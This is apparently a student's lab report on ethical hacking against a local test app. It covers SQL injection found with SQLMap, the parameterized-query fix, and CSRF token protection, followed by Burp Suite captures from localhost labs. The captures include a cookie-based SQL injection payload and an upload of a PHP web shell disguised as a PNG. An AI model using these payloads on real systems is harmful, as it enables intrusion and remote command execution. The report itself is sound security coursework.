

WEEK 5: Ethical Hacking & Exploiting Vulnerabilities

Objective:

Learn ethical hacking techniques, exploit vulnerabilities in a test environment, and enhance application security.

Tasks Completed

Task	Description
Ethical Hacking Setup	Kali Linux was used for penetration testing. Reconnaissance was performed on the User Management System using Burp Suite and Nmap to observe routes and form behaviors.
SQL Injection (SQLi) Testing	A test route <code>/test/search-unsafe</code> was created in the backend to simulate an SQL injection vulnerability using a raw SQL query. SQLMap was used to exploit this endpoint, confirming that attackers could retrieve sensitive data using inputs like <code>' OR '1'='1</code> .
SQL Injection Mitigation	The vulnerable query was replaced with parameterized queries using PostgreSQL's <code>\$1</code> syntax. A secure version of the route <code>/test/search-safe</code> was created using <code>pg.query()</code> with safe user input handling.
CSRF Testing	The application was tested using Burp Suite to send a forged POST request without a CSRF token. The app successfully blocked the request due to the enabled <code>csrf</code> middleware.
CSRF Protection	All forms were updated to include CSRF tokens using <code><input type="hidden" name="_csrf" value="<%= csrfToken %>"></code> , ensuring protection from forged requests.

Summary of Vulnerabilities and Fixes

Vulnerability	Endpoint	Tool Used	Fix Implemented
SQL Injection	<code>/test/search-unsafe</code>	SQLMap	Replaced with parameterized query using <code>\$1</code> placeholders

CSRF Attack	/login, form POST	Burp Suite	CSRF protection enforced using csrf and form tokens
-------------	-------------------	------------	---

Request

Raw

Hex

1 GET /labs/10x02.php HTTP/1.1

2 Host: localhost

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101

4 Firefox/102.0

5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*; q=0.8

6 Accept-Language: en-US,en;q=0.5

7 Accept-Encoding: gzip, deflate

8 DNT: 1

9 Connection: close

10 Cookie: session=6967cabefd763ac1a1a88e11159957db' and 1=2#

11 Upgrade-Insecure-Requests: 1

12 Sec-Fetch-Dest: document

13 Sec-Fetch-Mode: navigate

14 Sec-Fetch-Site: same-origin

15

Response

Raw

Hex

Render

1 HTTP/1.1 200 OK

2 Date: Thu, 15 Jun 2023 09:34:05 GMT

3 Server: Apache/2.4.54 (Debian)

4 X-Powered-By: PHP/7.4.33

5 Vary: Accept-Encoding

6 Access-Control-Allow-Origin: *

7 Access-Control-Allow-Methods: *

8 Content-Length: 1027

9 Connection: close

10 Content-Type: text/html; charset=UTF-8

11

12

13 <!DOCTYPE html>

14 <html lang="en">

15

16 <head>

17 <meta charset="UTF-8">

18 <meta name="viewport" content="width=device-width, initial-scale=1.0">

19 <title>

20 </title>

21 <link href="assets/bootstrap.min.css" rel="stylesheet">

22 <link href="assets/custom.css" rel="stylesheet">

23 </head>

24 <body>

25

1 x +

Send

Cancel

Target: http://localhost

HTTP/1

Request

Raw

Hex

13 Sec-Fetch-Dest: document

14 Sec-Fetch-Mode: navigate

15 Sec-Fetch-Site: same-origin

16 Sec-Fetch-User: ?1

17

18 -----1499699922386570288426

19 Content-Disposition: form-data; name="uploaded_file"

20 Content-Type: image/png

21

22 <?php system(\$_GET['cmd']); ?>

23 -----1499699922386570288426

1528674--

Response

Raw

Hex

Render

1 HTTP/1.1 200 OK

2 Date: Fri, 23 Jun 2023 08:06:39 GMT

3 Server: Apache/2.4.54 (Debian)

4 X-Powered-By: PHP/7.4.33

5 Vary: Accept-Encoding

6 Access-Control-Allow-Origin: *

7 Access-Control-Allow-Methods: *

8 Content-Length: 2000

9 Connection: close

10 Content-Type: text/html; charset=UTF-8

11

12 The file cmd.php has been uploaded.

13 <!DOCTYPE html>

14 <html lang="en">